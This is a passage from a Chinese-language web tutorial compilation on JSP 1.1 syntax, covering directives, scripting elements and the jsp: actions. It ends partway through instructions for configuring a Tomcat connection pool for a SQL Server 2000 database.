while (i ＜= sStr.length()-1)
{
if (sStr.charAt(i) == '\n')
{
sTmp = sTmp.concat("＜br＞");
}
else
{
sTmp = sTmp.concat(sStr.substring(i,i+1));
}
i++;
}
return sTmp;
}

转自：动态网站制作指南 | www.knowsky.com


JSP入门初级教程之JSP概述

    JSP（IAVA SERVER PAGES）是由Sun 公司在java语言上开发出来的一种动态网页制作技术，其可使您可以将网页中的动态部分和静态的HTML相分离。您可以使用平常得心应手的工具并按照平常的方式来书写HTML语句。然后，将动态部分用特殊的标记嵌入即可，这些标记常常以“＜%”开始并以“%＞”结束。例如，这儿有一个JSP页面:

    ＜html＞

    ＜head＞＜title＞jsp教程＜/title＞＜/head＞

    ＜body＞

    ＜I＞＜%out.println(“hello world”);%＞＜/I＞

    ＜/body＞＜/html＞

    它将输出“hello world”。

    通常，您要将文件以“.jsp”为扩展名，并将它放置到任何您可以放置普通WEB页面的路径下。尽管JSP文件看起来更象是HTML文件而不是Servlet文件，但，事实上，它恰恰将转换为Servlet文件，其中的静态HTML仅仅用来输出Servlet服务方法返回的信息。如果JSP pages 已经被转换为Servlet且Servlet 被编译进而被装载（在第一次被Request时），当您再次Request 此JSP页面时，将察觉不到一瞬的延迟。也请留意这个现象，一些Web Servers允许您为它定义别名，从而，好象一个URL是指向一个HTML，但事实上它指向的是一个Servlet 或JSP pages.

    构造一个JSP page,除了可内嵌的规则的HTML，还有三类主要的JSP元素：Scripting elements,Directives,和 Actions.使用Scripting elements您可以定义最终转换为Servlet的部分，Directives 使您可以控制这个Servlet的整体结构，而Actions使您可以指定可重用的已有组件，另外，还可控制JSP引擎的运行。为了简化Scripting elements,您可以在某一段上利用一些预定义的变量，如request。

    本教程式是以JSP1.1版本进行讲解的。其语法概括如下表，其详细使用在随后的课程中详细讲解.

JSP 元素

语法

解释

JSP Expression

＜%= 表达式 %＞

Expression 用于计算并用于输出。
＜jsp:expression＞表达式＜/jsp:expression＞，可使用的预定义的变量有request, response, out, session, application, config, and pageContext（在Sriptlets中也可使用）。

JSP Scriptlet

＜% 代码 %＞

插入用于服务的代码。
＜jsp:scriptlet＞代码＜/jsp:scriptlet＞

JSP Declaration

＜!% 代码 %＞

属于Servlet部分的代码但并不是服务方法。
＜jsp:declaration＞代码＜/jsp:declaration＞

JSP page Directive

＜%@ page att=”val” %＞

指向Servlet引擎的路径。
＜jsp:directive.page att="val"\＞. 以下是其合法的属性（缺省值加粗）:

import="package.class"
contentType="MIME-Type"
isThreadSafe="true　false"
session="true　false"
buffer="sizekb　none"
autoflush="true　false"
extends="package.class"
info="message"
errorPage="url"
isErrorPage="true　false"
language="java"

JSP include Directive

＜%@ include file =”URL” %＞

当JSP page被翻译成Servlet 时将被包含进去的本地系统上的文件。
＜jsp:directive.include file=”URL”\＞ 这个URL必须是相对的。当页面被请求时才用 “jsp:include action”调入。

JSP 注释

＜%-- 注释--%＞

当JSP 转换为Servlet 时将被忽略。
＜-- 注释 --＞

The JSP:include Action

＜jsp:include page=”relative URL” flush=”true”/＞

在页面被请求（Requested）时调入文件。
如果您想要在页面被转化（Translated）时将文件包含进来，则，请使用上面所提到的directive来代替。警告：在一些服务器上（Servers），被包含的文件只能是HTML或JSP，一般以文件的后缀名来判定。

The jsp:useBean Action

＜jsp:useBean att=val*/＞或＜jsp:useBean att=val*＞
…..
＜/jsp:useBean＞

寻找或生成一个Java Bean.
可能的属性是：

id="name"
scope="page　request　session　application"
class="package.class"
type="package.class"
beanName="package.class"

The jsp:setProperty Action

＜jsp:setProperty att=val*/＞

设置bean的属性，通过明确的指定或使用request得到的参数。
合法的属性：

name="beanName"
property="propertyName　*"
param="parameterName"
value="val”

The jsp:getProperty Action

＜jsp:getProperty name=”propertyName” value=”val”/＞

检索并输出bean的属性。

The jsp:forward Action

＜jsp:forward page=”relative URL”/＞

向前请求（request）另一个页面。

The jsp:plugin Action

＜jsp:plugin attribute=”value”*＞
＜/jsp:plugin＞

生成特定的浏览器的OBJECT 或EMBED标签，用来明确运行Applet所 使用的JAVA插件（plugin）。


JSP数据库基础知识 语法详解

HTML 注释

在客户端显示一个注释.

JSP 语法
＜!-- comment [ ＜%= expression %＞ ] --＞
例子 1
＜!-- This file displays the user login screen --＞
在客户端的HTML源代码中产生和上面一样的数据：

＜!-- This file displays the user login screen --＞
例子 2
＜!-- This page was loaded on ＜%= (new java.util.Date()).toLocaleString() %＞ --＞
在客户端的HTML源代码中显示为:

＜!-- This page was loaded on January 1, 2000 --＞
描述
这种注释和HTML中很像，也就是它可以在"查看源代码"中看到.

唯一有些不同的就是，你可以在这个注释中用表达式（例子2所示).这个表达示是不定的，由页面不同而不同，你能够使用各种表达式，只要是合法的就行。更多的请看表达式

隐藏注释

写在JSP程序中，但不是发给客户。

JSP 语法
＜%-- comment --%＞
例子：
＜%@ page language="java" %＞
＜html＞
＜head＞＜title＞A Comment Test＜/title＞＜/head＞
＜body＞
＜h2＞A Test of Comments＜/h2＞
＜%-- This comment will not be visible in the page source --%＞
＜/body＞
＜/html＞
描述
用隐藏注释标记的字符会在JSP编译时被忽略掉。这个注释在你希望隐藏或注释你的JSP程序时是很有用的。JSP编译器不是会对＜%--and--%＞之间的语句进行编译的，它不会显示在客户的浏览器中，也不会在源代码中看到

声明

在JSP程序中声明合法的变量和方法

JSP 语法
＜%! declaration; [ declaration; ]+ ... %＞
例子
＜%! int i = 0; %＞
＜%! int a, b, c; %＞
＜%! Circle a = new Circle(2.0); %＞
描述
声明你将要在JSP程序中用到的变量和方法。你也必须这样做，不然会出错.

你可以一次性声明多个变量和方法，只要以";"结尾就行，当然这些声明在Java中要是合法的。

当你声明方法或变量时，请注意以下的一些规则:

声明必须以";"结尾(Scriptlet有同样的规则，但是 表达式就不同了).
你可以直接使用在＜% @ page %＞中被包含进来的已经声明的变量和方法，不需要对它们重新进行声明.
一个声明仅在一个页面中有效。如果你想每个页面都用到一些声明，最好把它们写成一个单独的文件，然后用＜%@ include %＞或＜jsp:include ＞元素包含进来。

表达式

包含一个符合JSP语法的表达式

JSP 语法
＜%= expression %＞
例子
＜font color="blue"＞＜%= map.size() %＞＜/font＞
＜b＞＜%= numguess.getHint() %＞＜/b＞.
描述
表达式元素表示的是一个在脚本语言中被定义的表达式，在运行后被自动转化为字符串，然后插入到这个表达示在JSP文件的位置显示。因为这个表达式的值已经被转化为字符串，所以你能在一行文本中插入这个表达式（形式和ASP完全一样).

当你在JSP中使用表达式时请记住以下几点：

你不能用一个分号（"；"）来作为表达式的结束符.但是同样的表达式用在scriptlet中就需要以分号来结尾了！查看Scriptlet
这个表达式元素能够包括任何在Java Language Specification中有效的表达式.
有时候表达式也能做为其它JSP元素的属性值.一个表达式能够变得很复杂，它可能由一个或多个表达式组成，这些表达式的顺序是从左到右。

Scriptlet

包含一个有效的程序段.

JSP 语法
＜% code fragment %＞
例子
＜%
String name = null;
if (request.getParameter("name") == null) {
%＞
＜%@ include file="error.html" %＞
＜%
} else {
foo.setName(request.getParameter("name"));
if (foo.getName().equalsIgnoreCase("integra"))
name = "acura";
if (name.equalsIgnoreCase( "acura" )) {
%＞
描述
一个scriptlet能够包含多个jsp语句，方法，变量，表达式

因为scriptlet,我们便能做以下的事:

声明将要用到的变量或方法（参考 声明).
编写JSP表达式（参考 表达式).
使用任何隐含的对象和任何用＜jsp:useBean＞声明过的对象
编写JSP语句 (如果你在使用Java语言，这些语句必须遵从Java Language Specification,).
任何文本，HTML标记，JSP元素必须在scriptlet之外
当JSP收到客户的请求时，scriptlet就会被执行，如果scriptlet有显示的内容，这些显示的内容就被存在out对象中。

Include 指令

在JSP中包含一个静态的文件，同时解析这个文件中的JSP语句.

JSP 语法
＜%@ include file="relativeURL" %＞
例子
include.jsp:
＜html＞
＜head＞＜title＞An Include Test＜/title＞＜/head＞
＜body bgcolor="white"＞
＜font color="blue"＞
The current date and time are
＜%@ include file="date.jsp" %＞
＜/font＞
＜/body＞
＜/html＞
date.jsp:
＜%@ page import="java.util.*" %＞
＜%= (new java.util.Date() ).toLocaleString() %＞
Displays in the page:
The current date and time are
Aug 30, 1999 2:38:40

描述
＜%@include %＞指令将会在JSP编译时插入一个包含文本或代码的文件，当你使用＜%@ include %＞指命时，这个包含的过程就当是静态的。静态的包含就是指这个被包含的文件将会被插入到JSP文件中去，这个包含的文件可以是JSP文件，HTML文件，文本文件。如果包含的是JSP文件，这个包含的JSP的文件中代码将会被执行。

如果你仅仅只是用include 来包含一个静态文件。那么这个包含的文件所执行的结果将会插入到JSP文件中放＜% @ include %＞的地方。一旦包含文件被执行，那么主JSP文件的过程将会被恢复，继续执行下一行.

这个被包含文件可以是html文件，jsp文件，文本文件，或者只是一段Java代码，但是你得注意在这个包含文件中不能使用＜html＞,＜/html＞,＜body＞,＜/body＞标记，因为这将会影响在原JSP文件中同样的标记 ，这样做有时会导致错误.

有一些＜%@ include %＞指命的行为是以特殊的JSP编译条件为基础，比如：

这个被包含的文件必须对所有客户都有开放且必须f有效，或者它有安全限制
如果这个包含文件被改变，包含此文件的JSP文件将被重新编译
属性:
file="relativeURL"
这个包含文件的路径名一般来说是指相对路径，不需要什么端口，协议，和域名，如下:

"error.jsp""/templates/onlinestore.html""/beans/calendar.jsp"

如果这个路径以"/"开头，那么这个路径主要是参照JSP应用的上下关系路径，如果路径是以文件名或目录名开头，那么这个路径就是正在使用的JSP文件的当前路径.

Page 指令

定义JSP文件中的全局属性.

JSP 语法
＜%@ page
[ language="java" ]
[ extends="package.class" ]
[ import="{package.class 　 package.*}, ..." ]
[ session="true 　 false" ]
[ buffer="none 　 8kb 　 sizekb" ]
[ autoFlush="true 　 false" ]
[ isThreadSafe="true 　 false" ]
[ info="text" ]
[ errorPage="relativeURL" ]
[ contentType="mimeType [ ;charset=characterSet ]" 　 "text/html ; charset=ISO-8859-1" ]
[ isErrorPage="true 　 false" ]
%＞
例子
＜%@ page import="java.util.*, java.lang.*" %＞
＜%@ page buffer="5kb" autoFlush="false" %＞
＜%@ page errorPage="error.jsp" %＞
描述
＜%@ page %＞指令作用于整个JSP页面，同样包括静态的包含文件。但是＜% @ page %＞指令不能作用于动态的包含文件，比如 ＜jsp:include＞

你可以在一个页面中用上多个＜% @ page %＞指令，但是其中的属性只能用一次，不过也有个例外，那就是import属性。因为import属性和Java中的import语句差不多(参照Java Language)，所以你就能多用此属性几次了.

无论你把＜% @ page %＞指令放在JSP的文件的哪个地方，它的作用范围都是整个JSP页面。不过，为了JSP程序的可读性，以及好的编程习惯，最好还是把它放在JSP文件的顶部.

属性
language="java"
声明脚本语言的种类，暂时只能用"java"

extends="package.class"
标明JSP编译时需要加入的Java Class的全名，但是得慎重的使用它，它会限制JSP的编译能力.

import="{package.class 　 package.* }, ..."
需要导入的Java包的列表，这些包就作用于程序段，表达式，以及声明。

下面的包在JSP编译时已经导入了，所以你就不需要再指明了:

java.lang.*
javax.servlet.*
javax.servlet.jsp.*
javax.servlet.http.*

session="true 　 false"
设定客户是否需要HTTP Session.（学过ASP的人，应该对它不陌生)如果它为true,那么Session是有用的。

如果它有false,那么你就不能使用session对象，以及定义了scope=session的＜jsp:useBean＞元素。这样的使用会导致错误.

缺省值是true.

buffer="none 　 8kb 　 sizekb"
buffer的大小被out对象用于处理执行后的JSP对客户浏览器的输出。缺省值是8kb

autoFlush="true 　 false"
设置如果buffer溢出，是否需要强制输出，如果其值被定义为true(缺省值)，输出正常，如果它被设置为false,如果这个buffer溢出，就会导致一个意外错误的发生.如果你把buffer设置为none,那么你就不能把autoFlush设置为false.

isThreadSafe="true 　 false"
设置Jsp文件是否能多线程使用。缺省值是true,也就是说，JSP能够同时处理多个用户的请求，如果设置为false，一个jsp只能一次处理一个请求

info="text"
一个文本在执行JSP将会被逐字加入JSP中，你能够使用Servlet.getServletInfo方法取回。

errorPage="relativeURL"
设置处理异常事件的JSP文件。

isErrorPage="true 　 false"
设置此页是否为出错页，如果被设置为true,你就能使用exception对象.

contentType="mimeType [ ;charset=characterSet ]" 　 "text/html;charset=ISO-8859-1"
设置MIME类型 。缺省MIME 类型是: text/html, 缺省字符集为 ISO-8859-1.

＜jsp:forward＞

重定向一个HTML文件，JSP文件，或者是一个程序段.

JSP 语法
＜jsp:forward page={"relativeURL" 　 "＜%= expression %＞"} /＞
or
＜jsp:forward page={"relativeURL" 　 "＜%= expression %＞"} ＞
＜jsp:param name="parameterName"
value="{parameterValue 　 ＜%= expression %＞}" /＞+
＜/jsp:forward＞
例子
＜jsp:forward page="/servlet/login" /＞
＜jsp:forward page="/servlet/login"＞
＜jsp:param name="username" value="jsmith" /＞
＜/jsp:forward＞
描述
＜jsp:forward＞标签从一个JSP文件向另一个文件传递一个包含用户请求的request对象.＜jsp:forward＞标签以下的代码，将不能执行.

你能够向目标文件传送参数和值，在这个例子中我们传递的参数名为username,值为scott,如果你使用了＜jsp:param＞标签的话，目标文件必须是一个动态的文件，能够处理参数.

如果你使用了非缓冲输出的话，那么使用＜jsp:forward＞时就要小心。如果在你使用＜jsp:forward＞之前，jsp文件已经有了数据，那么文件执行就会出错.

属性
page="{relativeURL 　 ＜%= expression %＞}"
这里是一个表达式或是一个字符串用于说明你将要定向的文件或URL.这个文件可以是JSP,程序段，或者其它能够处理request对象的文件(如asp,cgi,php).

＜jsp:param name="parameterName" value="{parameterValue 　 ＜%= expression %＞}" /＞+
向一个动态文件发送一个或多个参数，这个文件一定是动态文件.

如果你想传递多个参数，你可以在一个JSP文件中使用多个＜jsp:param＞。name指定参数名，value指定参数值.

＜jsp:getProperty＞

获取Bean的属性值，用于显示在页面中

JSP 语法
＜jsp:getProperty name="beanInstanceName" property="propertyName" /＞
例子
＜jsp:useBean id="calendar" scope="page" class="employee.Calendar" /＞
＜h2＞
Calendar of ＜jsp:getProperty name="calendar" property="username" /＞
＜/h2＞
描述
这个＜jsp:getProperty＞元素将获得Bean的属性值，并可以将其使用或显示在JSP页面中.在你使用＜jsp:getProperty＞之前，你必须用＜jsp:useBean＞创建它.

＜jsp:getProperty＞元素有一些限制:

你不能使用＜jsp:getProperty＞来检索一个已经被索引了的属性
你能够和JavaBeans组件一起使用＜jsp:getProperty＞,但是不能与Enterprise Bean一起使用。
属性
name="beanInstanceName"
bean的名字,由＜jsp:useBean＞指定

property="propertyName"
所指定的Bean的属性名。

技巧:
在sun的JSP参考中提到，如果你使用＜jsp:getProperty＞来检索的值是空值，那么NullPointerException将会出现，同时如果使用程序段或表达式来检索其值，那么在浏览器上出现的是null（空).

＜jsp:include＞

包含一个静态或动态文件.

JSP 语法
＜jsp:include page="{relativeURL 　 ＜%= expression%＞}" flush="true" /＞
or
＜jsp:include page="{relativeURL 　 ＜%= expression %＞}" flush="true" ＞
＜jsp:param name="parameterName" value="{parameterValue 　 ＜%= expression %＞}" /＞+
＜/jsp:include＞
Examples
＜jsp:include page="scripts/login.jsp" /＞
＜jsp:include page="copyright.html" /＞
＜jsp:include page="/index.html" /＞
＜jsp:include page="scripts/login.jsp"＞
＜jsp:param name="username" value="jsmith" /＞
＜/jsp:include＞

描述
＜jsp:include＞元素允许你包含动态文件和静态，这两种包含文件的结果是不同的。如果文件仅是静态文件，那么这种包含仅仅是把包含文件的内容加到jsp文件中去，而如果这个文件动态的，那么这个被包含文件也会被Jsp编译器执行(这一切与asp相似)

你不能从文件名上判断一个文件是动态的还是静态的，比如aspcn.asp 就有可能只是包含一些信息而已，而不需要执行。＜jsp:include＞能够同时处理这两种文件，因此你就不需要包含时还要判断此文件是动态的还是静态的.

如果这个包含文件是动态的，那么你还可以用＜jsp:param＞还传递参数名和参数值。

属性
page="{relativeURL 　 ＜%= expression %＞}"
参数为一相对路径，或者是代表相对路径的表达式.

flush="true"
这里你必须使用flush="true",你不能使用false值.缺省值为false

＜jsp:param name="parameterName" value="{parameterValue 　 ＜%= expression %＞ }" /＞+
＜jsp:param＞子句能让你传递一个或多个参数给动态文件

你能在一个页面中使用多个＜jsp:param＞来传递多个参数，

＜jsp:plugin＞

执行一个applet或Bean,有可能的话还要下载一个Java插件用于执行它.

JSP 语法
＜jsp:plugin
type="bean 　 applet"
code="classFileName"
codebase="classFileDirectoryName"
[ name="instanceName" ]
[ archive="URIToArchive, ..." ]
[ align="bottom 　 top 　 middle 　 left 　 right" ]
[ height="displayPixels" ]
[ width="displayPixels" ]
[ hspace="leftRightPixels" ]
[ vspace="topBottomPixels" ]
[ jreversion="JREVersionNumber 　 1.1" ]
[ nspluginurl="URLToPlugin" ]
[ iepluginurl="URLToPlugin" ] ＞
[ ＜jsp:params＞
[ ＜jsp:param name="parameterName" value="{parameterValue 　 ＜%= expression %＞}" /＞ ]+
＜/jsp:params＞ ]

[ ＜jsp:fallback＞ text message for user ＜/jsp:fallback＞ ]

＜/jsp:plugin＞

例子
＜jsp:plugin type=applet code="Molecule.class" codebase="/html"＞
＜jsp:params＞
＜jsp:param name="molecule" value="molecules/benzene.mol" /＞
＜/jsp:params＞
＜jsp:fallback＞
＜p＞Unable to load applet＜/p＞
＜/jsp:fallback＞
＜/jsp:plugin＞
描述
＜jsp:plugin＞元素用于在浏览器中播放或显示一个对象（典型的就是applet和Bean),而这种显示需要在浏览器的java插件。

当Jsp文件被编译，送往浏览器时，＜jsp:plugin＞元素将会根据浏览器的版本替换成＜object＞或者＜embed＞元素。注意，＜object＞用于HTML 4.0 ，＜embed＞用于HTML 3.2.

一般来说，＜jsp:plugin＞元素会指定对象是Applet还是Bean,同样也会指定class的名字，还有位置，另外还会指定将从哪里下载这个Java插件。具体如下:

属性
type="bean 　 applet"
.将被执行的插件对象的类型，你必须得指定这个是Bean还是applet,因为这个属性没有缺省值.

code="classFileName"
将会被Java插件执行的Java Class的名字，必须以.class结尾。这个文件必须存在于codebase属性指定的目录中.

codebase="classFileDirectoryName"
将会被执行的Java Class文件的目录（或者是路径)，如果你没有提供此属性，那么使用＜jsp:plugin＞的jsp文件的目录将会被使用.

name="instanceName"
这个Bean或applet实例的名字，它将会在Jsp其它的地方调用.

archive="URIToArchive, ..."
一些由逗号分开的路径名，这些路径名用于预装一些将要使用的class,这会提高applet的性能.

align="bottom 　 top 　 middle 　 left 　 right"
图形，对象，Applet的位置,有以下值:

bottom
top
middle
left
right
height="displayPixels" width="displayPixels"
Applet或Bean将要显示的长宽的值，此值为数字，单位为象素.

hspace="leftRightPixels" vspace="topBottomPixels"
Applet或Bean显示时在屏幕左右，上下所需留下的空间，单位为象素.

jreversion="JREVersionNumber 　 1.1"
Applet或Bean运行所需的Java Runtime Environment (JRE) 的版本. 缺省值是 1.1.

nspluginurl="URLToPlugin"
Netscape Navigator用户能够使用的JRE的下载地址，此值为一个标准的URL，如http://www.aspcn.com/jsp

iepluginurl="URLToPlugin"
IE用户能够使用的JRE的下载地址，此值为一个标准的URL，如http://www.aspcn.com/jsp

＜jsp:params＞ [ ＜jsp:param name="parameterName" value="{parameterValue 　 ＜%= expression %＞}" /＞ ]+ ＜/jsp:params＞
你需要向applet或Bean传送的参数或参数值。

＜jsp:fallback＞ text message for user ＜/jsp:fallback＞
一段文字用于Java 插件不能启动时显示给用户的，如果插件能够启动而applet或Bean不能，那么浏览器会有一个出错信息弹出.

＜jsp:setProperty＞

设置Bean中的属性值.

JSP语法
＜jsp:setProperty
name="beanInstanceName"
{
property= "*"
property="propertyName" [ param="parameterName" ]
property="propertyName" value="{string 　 ＜%= expression %＞}"
}
/＞
例子
＜jsp:setProperty name="mybean" property="*" /＞
＜jsp:setProperty name="mybean" property="username" /＞
＜jsp:setProperty name="mybean" property="username" value="Steve" /＞
描述
＜jsp:setProperty＞元素使用Bean给定的setter方法，在Bean中设置一个或多个属性值。你在使用这个元素之前必须得使用＜jsp:useBean＞声明此Bean.因为，＜jsp:useBean＞和＜jsp:setProperty＞是联系在一起的，同时这他们使用的Bean实例的名字也应当相匹配（就是说，在＜jsp:setProperty＞中的name的值应当和＜jsp:useBean＞中id的值相同)

你能使用多种方法利用＜jsp:setProperty＞来设定属性值 :

通过用户输入的所有值(被做为参数储存中request对象中)来匹配Bean中的属性
通过用户输入的指定的值来匹配Bean中指定的属性
在运行时使用一个表达式来匹配Bean的属性
每一种设定属性值的方法都有其特定的语法，下面我们会来讲解

属性及其用法
name="beanInstanceName"
表示已经在＜jsp:useBean＞中创建的Bean实例的名字.

property="*"
储存用户在Jsp输入的所有值，用于匹配Bean中的属性。在Bean中的属性的名字必须和request对象中的参数名一致.

从客户传到服器上的参数值一般都是字符类型 ，这些字符串为了能够在Bean中匹配就必须转换成其它的类型，下面的表中列出了Bean属性的类型以及他们的转换方法.

把字符串转化为其它类型的方法. Property 类型
方法
boolean or Boolean
java.lang.Boolean.valueOf(String)
byte or Byte
java.lang.Byte.valueOf(String)
char or Character
java.lang.Character.valueOf(String)
double or Double
java.lang.Double.valueOf(String)
integer or Integer
java.lang.Integer.valueOf(String)
float or Float
java.lang.Float.valueOf(String)
long or Long
java.lang.Long.valueOf(String)

如果request对象的参数值中有空值，那么对应的Bean属性将不会设定任何值。同样的，如果Bean中有一个属性没有与之对应的Request参数值，那么这个属性同样也不会设定.

property="propertyName" [ param="parameterName" ]
使用request中的一个参数值来指定Bean中的一个属性值。在这个语法中，property指定Bean的属性名，param指定request中的参数名.

如果bean属性和request参数的名字不同，那么你就必须得指定property和param ，如果他们同名，那么你就只需要指明property就行了.

如查参数值为空（或未初始化),对应的Bean属性不被设定.

property="propertyName" value="{string 　 ＜%= expression %＞}"
使用指定的值来设定Bean属性。这个值可以是字符串，也可以是表达式。如果这个字符串，那么它就会被转换成Bean属性的类型（查看上面的表).如果它是一个表达式，那么它类型就必须和它将要设定的属性值的类型一致。

如果参数值为空，那么对应的属性值也不会被设定。另外，你不能在一个＜jsp:setProperty＞中同时使用param和value

技巧
如果你使用了property="*",那么Bean的属性没有必要按Html表单中的顺序排序

＜jsp:useBean＞

创建一个Bean实例并指定它的名字和作用范围.

JSP 语法
＜jsp:useBean
id="beanInstanceName"
scope="page 　 request 　 session 　 application"
{
class="package.class"
type="package.class"
class="package.class" type="package.class"
beanName="{package.class 　 ＜%= expression %＞}" type="package.class"
}
{
/＞
＞ other elements ＜/jsp:useBean＞
}
例子
＜jsp:useBean id="cart" scope="session" class="session.Carts" /＞
＜jsp:setProperty name="cart" property="*" /＞
＜jsp:useBean id="checking" scope="session" class="bank.Checking" ＞
＜jsp:setProperty name="checking" property="balance" value="0.0" /＞
＜/jsp:useBean＞

描述
＜jsp:useBean＞用于定位或示例一个JavaBeans组件。＜jsp:useBean＞首先会试图定位一个Bean实例，如果这个Bean不存在，那么＜jsp:useBean＞就会从一个class或模版中进行示例。

为了定位或示例一个Bean，＜jsp:useBean＞会进行以下步聚，顺序如下:

通过给定名字和范围试图定位一个Bean.
对这个Bean对象引用变量以你指定的名字命名.
如果发现了这个Bean,将会在这个变量中储存这个引用。如果你也指定了类型，那么这个Bean也设置为相应的类型.
如果没有发现这个Bean,将会从你指定的class中示例，并将此引用储存到一个新的变量中去。如果这个class的名字代表的是一个模版，那么这个Bean被java.beans.Beans.instantiate示例.
如果＜jsp:useBean＞已经示例（不是定位）了Bean,同时＜jsp:useBean＞和＜/jsp:useBean＞中有元素，那么将会执行其中的代码.
＜jsp:useBean＞元素的主体通常包含有＜jsp:setProperty＞元素，用于设置Bean的属性值。正如上面第五步所说的，＜jsp:useBean＞的主体仅仅只有在＜jsp:useBean＞示例Bean时才会被执行，如果这个Bean已经存在，＜jsp:useBean＞能够定位它，那么主体中的内容将不会起作用

属性以及用法
id="beanInstanceName"
在你所定义的范围中确认Bean的变量，你能在后面的程序中使用此变量名来分辨不同的Bean

这个变量名对大小写敏感，必须符合你所使用的脚本语言的规定，在Java Programming Language中，这个规定在Java Language 规范已经写明。如果这个Bean已经在别的＜jsp:useBean＞中创建，那么这个id的值必须与原来的那个id值一致.

scope="page 　 request 　 session 　 application"
Bean存在的范围以及id变量名的有效范围。缺省值是page,以下是详细说明：

page - 你能在包含＜jsp:useBean＞元素的JSP文件以及此文件中的所有静态包含文件中使用Bean,直到页面执行完毕向客户端发回响应或转到另一个文件为止。

request - 你在任何执行相同请求的Jsp文件中使用Bean,直到页面执行完毕向客户端发回响应或转到另一个文件为止。你能够使用Request对象访问Bean,比如request.getAttribute(beanInstanceName)

session - 从创建Bean开始，你就能在任何使用相同session的Jsp文件中使用Bean.这个Bean存在于整个Session生存周期内，任何在分享此Session的Jsp文件都能使用同一Bean.注意在你创建Bean的Jsp文件中＜% @ page %＞指令中必须指定session=true

application - 从创建Bean开始，你就能在任何使用相同application的Jsp文件中使用Bean.这个Bean存在于整个application生存周期内，任何在分享此application的Jsp文件都能使用同一Bean.
class="package.class"
使用new关键字以及class构造器从一个class中示例一个bean.这个class不能是抽象的，必须有一个公用的，没有参数的构造器.这个package的名字区别大小写。

type="package.class"
如果这个Bean已经在指定的范围中存在，那么写这个Bean一个新的数据库类型 。如果你没有使用class或beanName指定type，Bean将不会被示例.package和class的名字，区分大小写.

beanName="{package.class 　 ＜%= expression %＞}" type="package.class"
使用java.beans.Beans.instantiate方法来从一个class或连续模版中示例一个Bean,同时指定Bean的类型。

beanName可以是package和class也可以是表达式,它的值会传给Beans.instantiate.tupe的值可以和Bean相同。

package 和 class 名字区分大小写.


JSP中tomcat的SQL Server2000数据库连接池的配置-www.knowsky.com

JSP中tomcat的SQL Server2000数据库连接池的配置
环境：
1. 数据库：Microsoft SQL Server 2000
2. 数据库驱动程序：net.sourceforge.jtds.jdbc.Driver
JNDI（Java Naming and Directory Interface）概述：
Tomcat4（5）提供了一个与Java Enterprise Edition应用服务相兼容的JNDI--InitialContext实现实例。它的初始数据设置在$CATALINA_HOME/conf/server.xml文件里，并可能在网页应用环境描述（/WEB-INF/web.xml）里被下列元素引用：
1) <env-entry>--环境入口，设置应用程序如何操作。
2) <resource-ref>--资源参数，一般是数据库驱动程序、JavaMail Session、自定义类工厂等。
3) <resource-env-ref>--在Servlet 2.4里用来简化设置不需认证信息的资源资源如环境参数、resource-ref变量。
InitialContext在网页应用程序初始化时被设置，用来支持网页应用程序组件。所有的入口和资源都放在JNDI命名空间里的java:comp/env段里。点击下列网址以获取更多信息：
1) Java命名和目录接口（Java Naming and Directory Interface）
2) J2EE平台说明（J2EE Platform Specification）
设置JNDI资源
设置JNDI资源要在$CATALINA_HOME/conf/server.xml文件里使用下列标志符：
1) <Environment>--设置域个可变的JNDI InitialContext入口的名字和值（同上面说的<env-entry>等价）。
2) <Resource>--设置应用程序可用的资源的名字和类型（同上面说的<resource-ref>等价）。
3) <ResourceParams>--设置Java资源类工厂的名称或将用的JavaBean属性。
4) <ResourceLink>--给全局JNDI环境（JNDI Context）添加一个链接。
上述这些标志符必须放在<Context>和</Context>之间（针对专门的网页应用程序）或<DefaultContext>和</DefaultContext>之间。
此外，设在网页应用环境描述（Web Application Descriptor）（/WEB-INF/web.xml）里的名字和值也在初始环境（Initial Context）里被设置，当被<Environemt>元素值允许时将被重设初始值。
全局变量能在<Server>子元素的<GlobalNamingResources>里设置。
数据库连接池概述：
数据库连接是一种关键的有限的昂贵的资源，这一点在多用户的网页应用程序中体现得尤为突出。对数据库连接的管理能显著影响到整个应用程序的伸缩性和健壮性，影响到程序的性能指标。数据库连接池正是针对这个问题提出来的。
数据库连接池负责分配、管理和释放数据库连接，它允许应用程序重复使用一个现有的数据库连接，而再不是重新建立一个；释放空闲时间超过最大空闲时间的数据库连接来避免因为没有释放数据库连接而引起的数据库连接遗漏。这项技术能明显提高对数据库操作的性能。
数据库连接池在初始化时将创建一定数量的数据库连接放到连接池中，这些数据库连接的数量是由最小数据库连接数来设定的。无论这些数据库连接是否被使用，连接池都将一直保证至少拥有这么多的连接数量。连接池的最大数据库连接数量限定了这个连接池能占有的最大连接数，当应用程序向连接池请求的连接数超过最大连接数量时，这些请求将被加入到等待队列中。数据库连接池的最小连接数和最大连接数的设置要考虑到下列几个因素：
1) 最小连接数是连接池一直保持的数据库连接，所以如果应用程序对数据库连接的使用量不大，将会有大量的数据库连接资源被浪费；
2) 最大连接数是连接池能申请的最大连接数，如果数据库连接请求超过此数，后面的数据库连接请求将被加入到等待队列中，这会影响之后的数据库操作。
3) 如果最小连接数与最大连接数相差太大，那么最先的连接请求将会获利，之后超过最小连接数量的连接请求等价于建立一个新的数据库连接。不过，这些大于最小连接数的数据库连接在使用完不会马上被释放，它将被放到连接池中等待重复使用或是空闲超时后被释放。
配置Tomcat数据库连接池的前提：
1. 必须装有Java运行环境；
2. 必须有SQL Server2000数据库服务器（可以不在本地）；
3. 必须有jtds.jar，并将它放在$CATALINA_HOME/common/lib目录下（只能是这里）。使用它是因为Microsoft公司的Java SQL Server驱动程序不支持二次查询，可到网上搜到。目前使用的是jtds-0.6.jar。
在$CATALINA_HOME/conf/server.xml里设置数据库连接池：
下面是配置的代码，必须放在<Host>和</Host>之间。
<Context path="/quality" docBase="quality" debug="0" reloadable="true" crossContext="true">
<Logger className="org.apache.catalina.logger.FileLogger" prefix="localhost_quality_log." suffix=".txt" timestamp="true"/>
<Resource name="jdbc/connectDB" auth="Container" type="javax.sql.DataSource"/>
<ResourceParams name="jdbc/connectDB">
<parameter>
<name>maxActive</name>
<!-- Maximum number of DB connections in pool.Set to 0 for no limit. -->
<value>100</value>
</parameter>
<parameter>
<name>maxIdle</name>
<!-- Maximum number of idle DB connections to retain in pool.Set to 0 for no limit. -->
<value>30</value>
</parameter>
<parameter>
<name>maxWait</name>
<!-- Maximum time to wait for a DB connection to become available in ms.An exception is thrown if this timeout is exceeded.Set to -1 to wait indefinitely. -->
<value>10000</value>
</parameter>
<parameter>
<name>removeAbandoned</name>
<!-- Abandoned DB connections are removed and recycled -->
<value>true</value>
</parameter>
<parameter>
<name>removeAbandonedTimeout</name>
